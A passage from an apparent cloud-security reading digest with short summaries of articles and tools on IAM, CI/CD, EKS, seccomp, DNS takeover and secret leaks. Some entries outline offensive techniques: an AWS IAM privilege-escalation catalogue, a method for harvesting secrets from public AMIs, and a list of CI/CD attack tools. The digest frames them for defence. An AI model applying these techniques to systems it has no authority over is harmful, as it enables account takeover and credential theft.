    • Self-hosting: Signed images ghcr.io/octo-sts/app and ghcr.io/octo-sts/webhook; settings for GHES (GITHUB_BASE_URL), OCTOSTS_ALLOWED_ISSUERS and multi-App routing.

    Takeaway: The cleanest current answer to cross-repo automation without PATs. Treat the policy files as privileged config and review changes to them.

  • AWS CloudQuarry: Digging for Secrets in Public AMIs
    summary

    TL;DR: Eduard Agavriloae and Matei Josephs (Security Cafe, May 2024) scanned tens of thousands of public AWS AMIs for secrets and found over a hundred valid AWS access keys, including root keys.

    • Scope: 3,173,232 public AMIs from 27 regions, filtered (no Marketplace, no AWS-owned, no instance-store, owners with at most 50 AMIs, small volumes) to 26,778 targets.
    • Method: Launch instance from AMI, stop, detach root volume, terminate, attach to a scanner instance, then find for .aws, .ssh, .env, .git, web.config and run gitleaks over 400+ GB of repos (about 48 hours).
    • Effort and cost: About 6 months of work and 14+ days of scanning; cost estimated at under $1.2k (conclusion cites a $500+ bill).
    • Findings: 121 valid unique AWS key pairs including 20 root keys (the post also says 120+ and 18 elsewhere), 10+ live Stripe keys, 10+ GitHub/GitLab tokens, SSH keys, DB strings and JWT secrets.
    • Disclosure: Few accounts had usable contacts; about 5 of 70+ companies replied in 90 days. AWS then notified customers; two weeks later 58 keys were still valid.
    • Impact proven: A test Stripe refund and read access to a FinTech’s private GitLab repos.

    Takeaway: Scan images for credentials before making any AMI public, set account security contacts, and rotate anything that ever touched a shared image.

  • cdncheck: Detect the CDN, Cloud or WAF Behind an IP Address
    summary

    TL;DR: cdncheck from ProjectDiscovery is a Go CLI and library that identifies the CDN, cloud provider or WAF behind an IP address or DNS name.

    • Install: go install -v github.com/projectdiscovery/cdncheck/cmd/cdncheck@latest.
    • Input and output: -i for IPs/hosts; -resp shows provider names, -j JSONL, -o file, -silent.
    • Categories: -cdn, -cloud, -waf limit output; -mcdn/-mcloud/-mwaf match and -fcdn/-fcloud/-fwaf filter specific providers.
    • Library: cdncheck.New() then CheckCDN, CheckCloud or CheckWAF, each returning match flag, provider and error.
    • Data: Providers defined in provider.yaml from URLs, ASNs or static CIDRs, compiled into sources_data.json; CNAME and Wappalyzer mappings in other.go.
    • Examples: CloudFront, Fastly, Akamai, Cloudflare, Incapsula, Sucuri, AWS, Google, Oracle.

    Takeaway: Useful in recon pipelines to drop CDN/WAF IPs before port scanning, or to find origin hosts that sit outside the WAF.

  • actionlint: Static Checker for GitHub Actions Workflow Files
    summary

    TL;DR: actionlint by rhysd is a static checker for GitHub Actions workflow files that catches syntax, type and security mistakes before you push. MIT licensed.

    • Syntax: Unknown or missing keys, invalid needs: dependencies, runner labels, cron syntax and glob patterns.
    • Expressions: Type-checks ${{ }} expressions, flagging nonexistent properties and type mismatches.
    • Actions and reusable workflows: Validates with: inputs, steps.<id>.outputs, and reusable workflow inputs, outputs and secrets.
    • Security: Detects script injection from untrusted inputs and hard-coded credentials.
    • Script linting: Runs shellcheck and pyflakes on run: steps when installed.
    • Install: Release binaries, Homebrew, go install github.com/rhysd/actionlint/cmd/actionlint@latest, Docker, or a download script for CI; WebAssembly playground online.
    • Usage: Run actionlint at the repo root; workflows are found automatically.

    Takeaway: Add it to pre-commit and CI for every repo with workflows; the injection check alone justifies it.

  • Cap: Open-Source Loom Alternative for Instant Screen Sharing
    summary

    TL;DR: Cap is an open-source Loom alternative for recording, editing and sharing screen recordings, with desktop apps for macOS and Windows and a web dashboard.

    • Instant Mode: Uploads while recording so a share link is ready when you stop.
    • Studio Mode: Records locally and opens an editor for backgrounds, zooms, trimming, captions and export.
    • Features: AI titles, summaries, chapters and transcripts; password/private sharing; custom domains; comments and viewer analytics; Loom import.
    • Storage: Cap Cloud, your own S3-compatible bucket, local-only, or full self-hosting.
    • Self-host: docker compose up -d starts Cap Web on localhost:3000; Railway and Coolify supported; replace default secrets for production.
    • Stack: Rust, TypeScript, Tauri v2, SolidStart, Next.js, Drizzle, MySQL, Tailwind; analytics on Tinybird.
    • License: AGPLv3, with some crates (cap-camera*, scap-*) MIT.

    Takeaway: A credible self-hostable replacement for Loom when recordings must stay in your own bucket.

  • Linux Maintainers Were Infected for 2 Years by SSH-Dwelling Backdoor with Huge Reach
    summary

    TL;DR: Ars Technica (Dan Goodin, May 2024) covers ESET’s 47-page report on Ebury, an OpenSSH backdoor and credential stealer that has compromised over 400,000 servers since 2009, including kernel.org infrastructure.

    • kernel.org: Ebury ran on at least four Linux Foundation servers between 2009 and 2011, two years earlier than thought; attackers held /etc/shadow data for 551 users and cleartext passwords for 275 (50%).
    • Separate incidents: The 2011 Phalanx compromise of kernel.org appears to be an unrelated group; no sign the kernel source was tampered with.
    • Scale: 400,000+ compromises over almost 15 years, mostly Linux plus about 400 FreeBSD and a few OpenBSD, SunOS and one Mac; about 40,000 live at any measurement, rising to 110,000 in 2023.
    • Spread: Originally via stolen SSH credentials from backdoored OpenSSH; ESET found five newer methods, including adversary-in-the-middle attacks from inside compromised data centres.
    • Hosting providers: In 2019 a US registrar/host was hit (about 2,500 physical and 60,000 virtual servers); in 2023, 70,000 servers at another provider. An ESET honeypot there was infected within a week of one SSH login.
    • Monetisation: Credential and crypto-wallet theft, card data, spam and traffic redirection via Apache and kernel modules.

    Takeaway: If you rely on hosting providers, assume SSH password logins can be harvested. Use keys with MFA or certificates, and check against ESET’s published Ebury IoCs.

  • Building a GitOps CI/CD Pipeline with GitHub Actions (SOC 2)
    summary

    TL;DR: Mathieu Larose (April 2024) walks through a GitOps CI/CD design on GitHub Actions built to satisfy SOC 2 change-management expectations, with an app repo and an infra repo.

    • Repos: App repo builds artifacts tagged by commit SHA; infra repo holds desired state per environment as envs/dev.json, staging.json, prod.json. Trunk-based, single main branch.
    • Publish flow: PR, required tests, second-developer approval, merge, build and publish; a bot opens and merges an infra PR to update dev.
    • Deploy flow: Infra PRs with tests and peer review; promotion is copying a version config (dev to staging) via PR; rollback is a revert PR.
    • Hotfixes: Manually triggered workflow makes the bot cut hotfixes/<name> from a chosen commit; same PR process applies.
    • Controls: Rulesets block direct pushes, force-pushes and deletion on main, enforce linear history, required checks and at least one approval.
    • Caveat: The bot uses bypass permissions (gh pr merge --admin) for automated infra PRs, so those skip human approval.

    Takeaway: A good template for audit-friendly delivery: every change is a reviewed PR with SHA-tagged artifacts. Scope the bot’s bypass tightly, since it is the exception auditors will ask about.

  • XZ Utils Made Me Paranoid
    summary

    TL;DR: Kevin Haubris (TrustedSec, May 2024) built VerifyELF, a scanner that detects function hooks in running Linux processes, prompted by the XZ Utils backdoor.

    • Section comparison: Reads loaded shared library sections from process memory via ptrace (root required) and compares them to on-disk ELF files after applying relocations.
    • GOT check: For a target PID, resolves imported symbols and compares the Global Offset Table with memory; covers only functions the binary calls directly.
    • Validation: Detected the XZ backdoor (which hooks RSA_public_decrypt) on a Debian testing ISO and a proof-of-concept hook on accept.
    • Triage: nm -D maps a reported offset to a function; objdump -x shows if it is in headers (likely false positive).
    • False positives: Duplicate library copies (e.g. a second libnghttp2 in NetworkManager), Nvidia/OpenGL writable text sections, RPATH/RUNPATH copies, symbol version mismatches.
    • Limits: dlopen/dlsym loads are hard to attribute; Snap binaries skipped; container processes may false-positive.
    • Code: github.com/trustedsec/VerifyELF.

    Takeaway: Memory-versus-disk integrity checks are a practical way to hunt for XZ-style implants on critical hosts like sshd servers.

  • Everything I Learned to Negotiate Your Salary
    summary

    (Could not fetch full text.)

    TL;DR: A 15-minute video (November 2021) by Chloe Shih, a tech product manager, sharing the negotiation tactics she used when moving to a PM role at Discord.

    • Format: Personal brain dump of tactics, framed as a starting point rather than a complete guide.
    • Structure: Intro, negotiation prep (4:13), tips 1-5 (5:56), tips 6-10 (9:45), upcoming plans (13:32).
    • Context: Made after announcing her move to Discord as a PM; channel covers PM careers in tech.
    • Sponsor: Sponsored by CASETiFY.
    • Source caveat: No transcript available; based only on the YouTube title, description and chapter list. The ten tips themselves are not described here.

    Takeaway: A short, personal take on offer negotiation from a tech PM. Watch the two tips chapters before an offer call.

  • Hello GPT-4o
    summary

    (Could not fetch full text.)

    TL;DR: OpenAI’s 13 May 2024 announcement of GPT-4o (o for omni), a single model that reasons across text, audio and vision in real time and was made available to free ChatGPT users.

    • Model: One natively multimodal model for text, audio and image input and output, rather than chained separate models.
    • Availability: Free in ChatGPT at launch, with higher usage limits for paid tiers; also offered through the API.
    • Benchmarks: MMLU 88.7 versus 86.5 for GPT-4 (per Wikipedia).
    • Languages: Over 50 languages at release.
    • API price (current, per Wikipedia): $2.50 per million input tokens and $10 per million output tokens.
    • Voice: Advanced Voice Mode was delayed and reached Plus and Team users in September 2024; the Realtime API followed on 1 October 2024.
    • Source caveat: openai.com returned 403; summary based on Wikipedia and press coverage, so latency and launch-day pricing claims from the original page are omitted.

    Takeaway: The release that made fast multimodal models the default tier. Mainly of historical interest now; check current model docs for pricing and limits.

  • A Step-by-Step Guide to Securely Upgrading Your EKS Clusters
    summary

    TL;DR: Stevie Caldwell (Fairwinds, republished on the CNCF blog May 2024) gives a step-by-step EKS upgrade process and the tools that make it safer.

    • Order: Read release notes, upgrade add-ons and controllers, fix deprecated APIs, align node groups (max one minor of skew), back up, upgrade control plane, then data plane, then kubectl; roll dev, staging (1-2 week soak), prod.
    • Tools: Pluto and kubepug for deprecated APIs, eksup for upgrade playbooks, GoNoGo for Helm add-on readiness, Nova for outdated charts and images, Velero for backups.
    • Pre-checks: Enough free subnet IPs (up to five), control plane IAM role and security group present, KMS key access if secret encryption is enabled.
    • Add-ons: VPC CNI, kube-proxy and CoreDNS are not auto-upgraded and move one minor at a time; Cluster Autoscaler and AWS Load Balancer Controller must match the cluster version.
    • Availability: Use PodDisruptionBudgets and topologySpreadConstraints during node rotation.
    • Constraints: No downgrades; in-place upgrades are one minor at a time; consider blue/green for multi-version jumps; extended support costs extra and ends with forced upgrades.

    Takeaway: EKS does not check your deprecated APIs or add-ons for you. Run Pluto/kubepug in CI and script this sequence so upgrades become routine.

  • Monitoring Your EKS Clusters’ Audit Logs
    summary

    TL;DR: Falco blog post (Thomas Labarussias, May 2023 update) on the k8saudit-eks plugin, which lets Falco evaluate EKS Kubernetes audit logs pulled from CloudWatch Logs.

    • Mechanism: Polls the cluster’s audit log stream in /aws/eks/<CLUSTER_NAME>/cluster using AWS SDK sessions (pull model).
    • IAM: Read-only logs:Describe*, logs:FilterLogEvents, logs:Get*, logs:List* scoped to that log group.
    • Local install: falcoctl installs k8saudit-eks, json and k8saudit-rules; run Falco with --disable-source syscall.
    • Helm install: IRSA annotation eks.amazonaws.com/role-arn, driver.enabled=false, collectors.enabled=false, controller as a single-replica Deployment.
    • Config: region, profile, use_async, polling_interval (default 5s), shift (default 1s), buffer_size (default 200), and the cluster name in open_params.
    • Rules: Reuses the standard k8saudit ruleset, e.g. K8s Serviceaccount Created, Attach/Exec Pod.
    • Limits: Run only one instance to avoid duplicate alerts; latency between CloudWatch arrival and evaluation; no syscall monitoring in this mode.

    Takeaway: A cheap way to get runtime-style detections on the EKS control plane. Enable EKS audit logging first and run exactly one replica.

  • Container Security Fundamentals Part 6: seccomp
    summary

    TL;DR: Part 6 of Rory McCune’s container security fundamentals series (Datadog Security Labs, September 2023) explains seccomp syscall filtering in Docker and how to build custom profiles.

    • What it is: BPF-based filters that restrict which Linux syscalls a process can make; a last line of defence for container runtimes.
    • Docker default: Allowlist profile applied to every container; blocks syscalls like unshare, which stops exploits such as CVE-2022-0185 even where capabilities would allow them.
    • Demo: unshare fails in docker run -it ubuntu:22.04 but succeeds with --security-opt seccomp=unconfined.
    • Custom profiles: JSON with defaultAction: SCMP_ACT_ERRNO, architectures and syscall rules; apply with --security-opt seccomp=no_io_uring.json.
    • Approach: Start from Docker’s default and remove entries (example blocks io_uring_enter, io_uring_register, io_uring_setup), or audit an app’s syscalls and allow only those.
    • Tooling: Inspektor Gadget to automate syscall auditing for profile generation.
    • Scope: Kubernetes seccomp settings are deferred to a later series.

    Takeaway: Never run containers seccomp=unconfined. Blocking io_uring via a derived profile is a cheap hardening step.

  • assured-workloads-terraform: Apply Regulatory, Regional or Sovereign Controls to a Google Cloud Folder
    summary

    TL;DR: A Google Cloud sample Terraform configuration that creates an Assured Workloads folder, which applies regional, sovereign or regulatory control packages to everything under it. The repo was archived in October 2025.

    • Creates: An Assured Workloads folder with the control package chosen via compliance_regime (and sovereignty for sovereign packages), plus a project and underlying resources in location.
    • Variables: organization_ID, billing_account, dependency_project_id, compliance_regime, display_name, location.
    • Prerequisites: roles/assuredworkloads.admin; Access Transparency enabled for Premium Platform Controls; Essential Contacts for Legal, Compliance and Security recommended.
    • Rule: Do not nest Assured Workloads folders.
    • Usage: gcloud auth login, gcloud auth application-default login, then terraform init, plan, apply.
    • Status: Archived and read-only.

    Takeaway: A minimal reference for codifying Assured Workloads; since it is archived, prefer the official Google provider resource docs for new work.

  • AWS ImdsPacketAnalyzer: Find Processes Still Calling IMDSv1
    summary

    TL;DR: AWS ImdsPacketAnalyzer is an eBPF (BCC) tool that traces TCP traffic to the EC2 metadata service and reports which processes still make IMDSv1 calls, to help migrate to IMDSv2.

    • Output: Each call logged with pid, argv and up to four parent PIDs; IMDSv1 at WARNING, IMDSv2 at INFO, in /var/log/imds/imds-trace.log (1 MB x 5 rotation).
    • Run: sudo python3 src/imds_snoop.py; find v1 callers with grep WARNING /var/log/imds/imds-trace.*.
    • Install: install-deps.sh (AL2, internet, not for production) or distro packages, e.g. sudo dnf install bcc-tools (AL2023), sudo apt install -y bpfcc-tools (Ubuntu 22).
    • Service mode: sudo ./activate-tracer-service.sh runs it at boot as imds_tracer_tool.service.
    • OS support: Amazon Linux 1/2/2023, Debian 10/11, Ubuntu 20/22, RHEL 8/9, Fedora, SLES 15, CentOS 9; Windows uses a different method.
    • Limits: IPv4 only; not guaranteed detection; not for alerting or auditing; AL2 kernel 4.14 on Graviton lacks needed eBPF features.

    Takeaway: Run it temporarily on hosts that still show MetadataNoToken hits to find the offending process, then enforce HttpTokens=required.

  • HoneyTrail: Deploy Customized Honeyservices in AWS to Alert on Unauthorized Access
    summary

    TL;DR: HoneyTrail by Adan Alvarez deploys decoy AWS resources with Terraform and alerts when anyone touches them, using a dedicated CloudTrail.

    • Decoys: S3 bucket with a fake users_data.csv, a Lambda named GetAccessKeyForBackups, and a DynamoDB table named CreditCardData.
    • Detection: CloudTrail with advanced event selectors records data events on the decoys only (S3 reads, Lambda invokes, DynamoDB queries).
    • Alert path: CloudTrail logs land in S3, bucket notifications invoke a Lambda, which alerts via SNS or SES; optional vpnapi.io key enriches IP details.
    • Deploy: Copy the example to shared.auto.tfvars.json, terraform init, terraform apply; confirm the SNS email subscription.
    • Customisation: Rename resources and data to make the lure believable.
    • Costs: Not discussed in the README.

    Takeaway: Cheap, high-signal canaries: nobody legitimate should read these resources, so any event is worth investigating.

  • Automatically Disabling Leaked Service Account Keys: What You Need to Know
    summary

    TL;DR: Google Cloud (May 2024) announced that from 16 June 2024 service account keys detected as publicly leaked are disabled automatically by default, controlled by a new org policy constraint.

    • Constraint: constraints/iam.serviceAccountKeyExposureResponse.
    • DISABLE_KEY: Google disables a detected exposed key and notifies you; default after 16 June 2024 if no choice is made.
    • WAIT_FOR_ABUSE: Opt-out; keys are not proactively disabled but may still be disabled if abused; notifications are still sent.
    • Setup: Organization Policies page, Manage Policy, Override parent’s policy, Replace, custom allow rule with the chosen value.
    • Detection: Google scans public repositories, in partnership with GitHub and GitLab secret scanning.
    • Notifications: Project owners and Essential Contacts security contacts are told on detection and on disablement.
    • Advice: Keep security contacts current, avoid embedding keys in code, rotate keys and prefer keyless alternatives.

    Takeaway: Leave DISABLE_KEY on and make sure security contacts are set; better still, block key creation entirely with iam.disableServiceAccountKeyCreation where possible.

  • Governing and Securing AWS PrivateLink Service Access at Scale in Multi-Account Environments
    summary

    TL;DR: AWS Security Blog post (Gaitonde, Isimah, Devabakthini, May 2024) with a solution combining SCPs and centralised detection to govern which PrivateLink services accounts in an organisation can connect to or expose.

    • Preventative 1: SCP denies ec2:CreateVpcEndpoint unless ec2:VpceServiceName or ec2:VpceServiceOwner is AWS, an approved partner or an internal account.
    • Preventative 2: SCP denies ec2:ModifyVpcEndpointServicePermissions except for a central network admin role, so teams cannot share services with outside accounts.
    • Detective 3: Alerts when external accounts connect to the organisation’s PrivateLink services.
    • Detective 4: Alerts when the organisation connects to PrivateLink services owned outside the org.
    • Plumbing: CloudTrail events forwarded by EventBridge to a central bus in the Audit account, Lambda validation and notification, and an AWS Config custom rule for endpoint services that auto-accept or lack connection notifications.
    • Rollout: Specify approved partners and internal accounts at deploy time; check SCPs against existing policies before attaching.
    • Source caveat: The fetched page was truncated; later deployment detail was not read.

    Takeaway: PrivateLink is a data path out of your network; gate endpoint creation and service permissions with SCPs instead of per-VPC reviews.

  • HCP Waypoint Actions Is Now in Public Beta
    summary

    TL;DR: HashiCorp (June 2024) put HCP Waypoint actions into public beta: push-button Day 2+ operations that platform teams attach to templates for developers to run.

    • Model: Platform engineers define an action in the Waypoint UI, assign it to a template, and every application created from that template inherits it.
    • Custom type: Calls an upstream HTTP API with configured URL, method, headers and body.
    • Agent type: Runs commands or scripts in private or on-prem environments via HCP Waypoint agents in agent groups, configured in HCL and started with hcp waypoint agent run.
    • Use cases: Builds and deploys, promotions and rollbacks, maintenance mode, service restarts, feature-flag toggles, database snapshots.
    • Benefit: Developers self-serve standard operations without filing tickets.
    • Limits: Public beta; no quotas or pricing stated in the post.

    Takeaway: Relevant if you already use HCP Waypoint as an internal developer platform; otherwise similar self-service can be had from Backstage plus CI workflows.

  • Generic Concurrency in Go
    summary

    TL;DR: Sergey Kamardin (April 2024) builds reusable, generics-based concurrency primitives in Go, from a parallel map up to an iterator-compatible worker pool.

    • Start: transform[A, B any]([]A, func(A) B) []B, then a concurrent version with ctx, a parallelism cap and errors.Join error aggregation.
    • Worker reuse: A prepare hook creates per-worker context once, with a fixed set of goroutines fed by an unbuffered channel.
    • Core primitive: iterate(ctx, prepare, parallelism, pull, f, push); caller controls input and output, and push returning false stops early.
    • Derived APIs: An errgroup-style API built on iterate, and an iter.Seq[A] to iter.Seq2[A, B] variant for range-over-func.
    • Techniques: Semaphore channels (0 means unlimited), context cancellation on error, dispatcher goroutine plus collection loop, combined sync.WaitGroup and semaphore.
    • Comparison: Positioned against golang.org/x/sync/errgroup.
    • Conclusion: The author would like such utilities in the standard library rather than competing third-party packages.

    Takeaway: A clear reference for writing bounded, cancellable fan-out in Go; copy the iterate pattern instead of hand-rolling WaitGroups each time.

  • reverst: Reverse Tunnels in Go over HTTP/3 and QUIC
    summary

    TL;DR: reverst from Flipt is a load-balanced reverse-tunnel server and Go client library built on QUIC and HTTP/3 (quic-go), for exposing services behind NAT without inbound connections. Apache-2.0.

    • Components: reverstd tunnel server on a public host, reverst CLI client, and Go library go.flipt.io/reverst/client built on net/http abstractions.
    • Tunnel groups: Sets of client servers registered under hostnames; requests are load-balanced across members.
    • Config: Flags with REVERST_-prefixed env equivalents; TLS key and cert required; groups defined in YAML from a file or Kubernetes ConfigMap, optionally watched.
    • Auth: Per-group basic, bearer or external-service strategies; with none configured auth is disabled, which the README advises against.
    • Build and test: go install; Dagger runs unit and integration suites.
    • Maturity: No stated version; about 1k stars at capture.

    Takeaway: A self-hosted alternative to ngrok-style tunnels for Go services. Always configure group auth, since an open tunnel exposes internal apps publicly.

  • The Best Way to Start with AWS Security Hub
    summary

    TL;DR: Rich Mogull’s Cloud Security Lab a Week (May 2024) shows how to set up AWS Security Hub org-wide as a cheap findings aggregator, without the costly standards.

    • Prerequisites: An AWS Organization and a SecurityAudit account.
    • Management account: Enable Security Hub in us-west-2, skip the Config prompt, disable default standards, delegate admin to SecurityAudit.
    • Central configuration: Home region Oregon, choose customized configuration because defaults re-enable services you turned off.
    • Aggregation: Pull findings from all regions and accounts into Oregon in the SecurityAudit account.
    • Standards: Disable all, including AWS Foundational Best Practices; GuardDuty and other integrations still feed findings.
    • Cost: Standards depend on AWS Config, which gets expensive fast; aggregation alone is relatively cheap.
    • Pitfalls: Findings arrive in ASFF, not native formats; each source tool must still be configured in its own account and region.

    Takeaway: Use Security Hub first as a free-ish single pane for GuardDuty and friends; turn on standards deliberately once you have budgeted for Config.

  • AWS Controllers for Kubernetes
    summary

    TL;DR: AWS Controllers for Kubernetes (ACK) lets you define and manage AWS resources such as S3 buckets or RDS databases as Kubernetes objects, reconciled by per-service controllers.

    • Model: One controller per AWS service, each a separate container image; there is no single ACK image.
    • Images: gallery.ecr.aws/aws-controllers-k8s/$SERVICENAME-controller on ECR Public; no :latest tags, so pin a release.
    • Cluster: Any Kubernetes cluster, not only EKS.
    • Services: Examples and tutorials include S3, SageMaker, RDS, EC2, SQS, EventBridge, Lambda and MemoryDB.
    • IAM and install: Covered in separate guides (install, configure IAM permissions), not on this overview.
    • Status: This docs page is deprecated and moved to aws-controllers-k8s.github.io/docs/intro/.

    Takeaway: An option when teams want AWS resources in the same GitOps flow as their apps. Scope each controller’s IAM role tightly, as it can create real infrastructure.

  • kail: Kubernetes Log Viewer
    summary

    TL;DR: kail by boz is a Kubernetes log tailer that streams logs from all containers of all matching pods and follows pods as they come and go. MIT licensed.

    • Selectors: -l/--label, -p/--pod, -n/--ns, --svc, --rs, -d/--deploy, --sts, -j/--job, --node, --ing, -c/--containers.
    • Logic: Repeated flags are OR’d, different flags AND’d; names can be namespace-qualified, e.g. staging/workers.
    • Exclusions: --ignore (default label kail.ignore=true), --ignore-ns (default kube-system).
    • Other flags: --since 2h45m, --context, --dry-run, -o raw/json/pretty/zerolog; every flag also settable via env, e.g. KAIL_POD=foo.
    • Install: brew install boz/repo/kail, kubectl krew install tail, release binaries, or Docker image abozanich/kail.

    Takeaway: Handy for following a whole deployment or service during incidents without juggling kubectl logs -f per pod.

  • prel: Temporary Google Cloud IAM Role Grants with an Approval Process
    summary

    TL;DR: prel by lirlia is an experimental open-source app for temporary, approval-based Google Cloud IAM role grants, inspired by Mercari’s Qray. MIT licensed.

    • Flow: Requester signs in with Google, picks project, roles and period (e.g. 1h); a judger approves; the IAM binding is added with a time-based condition.
    • Roles: Requester, Judger (cannot approve own requests), Admin (can judge own and invite users).
    • Users: First sign-in becomes admin; others need email invites that expire after 7 days; groups, regex and service accounts are not supported as invitees.
    • Notifications: Slack on request and decision; no email. Secrets stored in Secret Manager.
    • Limits: Basic roles (Owner, Editor, Viewer) excluded because IAM Conditions do not apply to them; experimental with possible breaking changes.
    • Tests: make test runs unit, integration and e2e suites.

    Takeaway: A lightweight just-in-time access pattern for GCP using IAM Conditions. Evaluate against Google’s built-in Privileged Access Manager before adopting an experimental tool.

  • The CloudSec Engineer: A Career Book on Cloud Security Engineering
    summary

    TL;DR: The CloudSec Engineer is a career book by Marco Lancini (CloudSecList author) on entering and progressing in cloud security engineering.

    • Part I: Choosing infosec and cloud security as a career, and career levels.
    • Parts II-IV: Skills, learning tips and expectations for entering the field, establishing yourself as a senior engineer, and thriving toward Staff+.
    • Part V: Choosing companies, finding jobs, interview preparation and managing offers.
    • Bonus: Templates for side projects, a brag document, reverse interview questions and offer tracking.
    • Format: DRM-free PDF and EPUB, 250+ pages, 1,100+ links, lifetime updates; no print edition.
    • Price: $18 book only, $26 complete package (discount codes listed on the page).

    Takeaway: Aimed at people planning a cloud security career path or preparing for interviews; the free newsletter gives a taste of the author’s style.

  • awesome-cicd-attacks: Practical Resources for Offensive CI/CD Security Research
    summary

    TL;DR: awesome-cicd-attacks (TupleType) is a curated list of offensive CI/CD security research, tools and case studies. CC0-1.0.

    • Exposed data: Postman public workspace leaks, Azure CLI log leakage, deleted/private repo data via forks, CloudQuarry secrets in public AMIs, leaked Docker Hub images.
    • Initial execution: Dependency confusion, whoAMI AMI name confusion, Poisoned Pipeline Execution, pwn requests, GitHub Actions cache poisoning, RepoJacking, imposter commits, workflow_run escalation.
    • Post-exploitation: Self-hosted runner backdoors, Terraform state privilege escalation, runner hijacking, Living off the Pipeline, GitHub Actions worm.
    • Defence evasion: Forged signed commits, Trojan Source, npm manifest confusion, unpinnable Actions, lockfile blind spots.
    • Tools: ADOKit, Gato and Gato-X, Nord Stream, Jenkins Attack Framework, pwn_jenkins, git-dumper, GitFive, zizmor.
    • Case studies: NCC Group’s 10 real-world pipeline compromises, the PyTorch supply chain attack, John Stawinski’s GitHub Actions attack diagram.

    Takeaway: A reading list for threat-modelling your pipelines; run Gato-X and zizmor against your own org to see which of these apply.

  • The Race to Make a Business of Secure Defaults
    summary

    TL;DR: Rami McCarthy (tl;dr sec, June 2024) examines the market for companies selling secure defaults and guardrails, and why it is hard to build a business on them.

    • Thesis: Making the safe path the easy path beats dashboards of findings, because people stick with defaults; but most guardrails are undifferentiated and rebuilt everywhere.
    • AppSec examples: WorkOS, BoxyHQ, Pangea, Arcjet.
    • Infra examples: Substrate, Gruntwork, Resourcely, Massdriver, Loft.sh, Chainguard, Delve.
    • Endpoint examples: Enterprise browsers (Menlo, Island, Talon) and allowlisting (Airlock Digital, ThreatLocker).
    • Market problems: Security alone is hard to sell, so startups drift into platform products, pivot (Aptible) or shut down (Atomized); migration costs are high and value shows late.
    • Other friction: Secure means different things per regulation and risk appetite; services-heavy models do not scale; self-hosted vs SaaS vs BYOC creates trust and support tension.
    • Ideal: Secure-by-default as a built-in feature of everything rather than a product category.

    Takeaway: Useful framing for build-vs-buy on guardrails: favour products that interoperate with existing code and allow incremental migration.

  • AWS IAM Privilege Escalation Techniques
    summary

    TL;DR: Hacking The Cloud (Nick Frichette) catalogue of about 40 AWS IAM privilege escalation paths, based on Spencer Gietzen’s Rhino Security Labs research.

    • Direct IAM edits: iam:AttachUserPolicy, AttachRolePolicy, AttachGroupPolicy, PutUserPolicy, PutRolePolicy, PutGroupPolicy, AddUserToGroup.
    • Policy versions: iam:CreatePolicyVersion to publish a permissive version; iam:SetDefaultPolicyVersion to roll back to an older broad one.
    • Credentials: iam:CreateAccessKey, CreateLoginProfile, UpdateLoginProfile on more privileged users; UpdateAssumeRolePolicy to trust yourself.
    • Removing restrictions: Delete or replace permissions boundaries; delete or detach policies containing denies.
    • PassRole combos: iam:PassRole with ec2:RunInstances, lambda:CreateFunction (+ Invoke, event source mapping or AddPermission), cloudformation:CreateStack, ecs:RunTask, Glue jobs and dev endpoints, Data Pipeline, Auto Scaling launch configs/templates, CodeStar, Bedrock AgentCore code interpreter.
    • Code changes: lambda:UpdateFunctionCode and UpdateFunctionConfiguration (malicious layer); glue:UpdateDevEndpoint SSH key swap.
    • Practice: Links Rhino’s AWS-IAM-Privilege-Escalation repo, Bishop Fox’s write-up and Seth Art’s iam-vulnerable lab.

    Takeaway: Treat any of these permissions as admin-equivalent in reviews; scan for them with tools like PMapper or Cloudsplaining and restrict iam:PassRole by resource.

  • Things You Wish You Didn’t Need to Know About S3
    summary

    (Could not fetch full text.)

    TL;DR: A Plerion blog post by Daniel Grzelak (Chief Innovation Officer), dated 30 May 2024, cataloguing surprising and security-relevant S3 behaviours. He covered the same material on the Screaming in the Cloud podcast.

    • Hidden objects: Incomplete multipart uploads do not show in the console or normal listings but are still billed. A lifecycle rule cleans them up.
    • CLI endpoints: aws s3 and aws s3api send requests to different endpoints, which matters when reasoning about permissions.
    • Information leaks: Multipart upload listings return uploader principal ARNs. Email-based ACL grants reveal through an error whether an email has an AWS account. Canonical user IDs placed in a policy resolve to the owner ARN.
    • ACLs: Legacy ACLs are off by default. The “Authenticated Users” group means every AWS account, not your own users.
    • Encryption: KMS acts as access control. With key access the object comes back in plaintext.
    • Object keys: Keys are not file names. They can hold slashes, hashes and percent signs, which breaks apps that treat them as paths.
    • Source caveat: The blog failed TLS handshake on fetch. Points are based on the podcast episode summary where Grzelak discusses the post, plus the Plerion blog listing.

    Takeaway: Add a multipart-upload abort lifecycle rule and never trust S3 keys as file paths. Read the original post for the full list.

  • Introducing BadDNS
    summary

    TL;DR: BadDNS is a Python DNS auditing tool from Black Lantern Security (author Paul Mueller, May 2024), mainly for subdomain takeover detection, also doing zone transfers and NSEC walking. It ships standalone and as a BBOT module.

    • Modules: cname (dangling CNAMEs, parent domain WHOIS), ns (dangling NS), mx (registrable MX domains), nsec (NSEC walking), references (second-order takeovers via JS/CSS includes), txt, zonetransfer.
    • Detection types: Signature matches become VULNERABILITY events in BBOT. Generic dangling-record hits become FINDING events, used to discover new signatures.
    • Signatures: Imported from Nuclei templates and dnsReaper by GitHub Actions that open PRs for review.
    • Usage: pip install baddns, or bbot -f subdomain-enum -m baddns -t <targetdomain>.
    • Research finding: Only about 5% of DNS servers correctly reported existing dangling NS records, so the authors built a fully recursive, cache-ignoring resolver.
    • Limits: No single authoritative source of takeover signatures exists. CORS/CSP checks and NSEC3 work were planned.

    Takeaway: Run it via BBOT against your own domains to catch dangling CNAME/NS/MX records and second-order takeovers that standard scanners miss.

  • STRIDE GPT: AI-Powered STRIDE Threat Modeling Tool
    summary

    TL;DR: STRIDE GPT is an MIT-licensed tool by Matt Adams (mrwadams) that uses LLMs to generate STRIDE threat models from an app description or a codebase. It started OpenAI-only and now supports many providers.

    • Modes: Streamlit web UI plus CLI with agentic codebase analyze, single-shot quick and an interactive REPL.
    • Outputs: Threat models, attack trees, mitigations, DREAD scores, Gherkin test cases, data flow diagrams, MITRE ATT&CK and ATLAS annotations. Reports in Markdown, JSON, SARIF or HTML.
    • Providers: Via LiteLLM: OpenAI, Anthropic, Google AI, Mistral, Groq, DeepSeek, OpenRouter (CLI only); local models via LM Studio Server.
    • Setup: pip install stride-gpt, then stride-gpt analyze . or stride-gpt quick -i app-description.txt. Docker: docker run -p 8501:8501 --env-file .env mrwadams/stridegpt.
    • Scope: Covers agentic and generative AI systems with OWASP Top 10 integration.
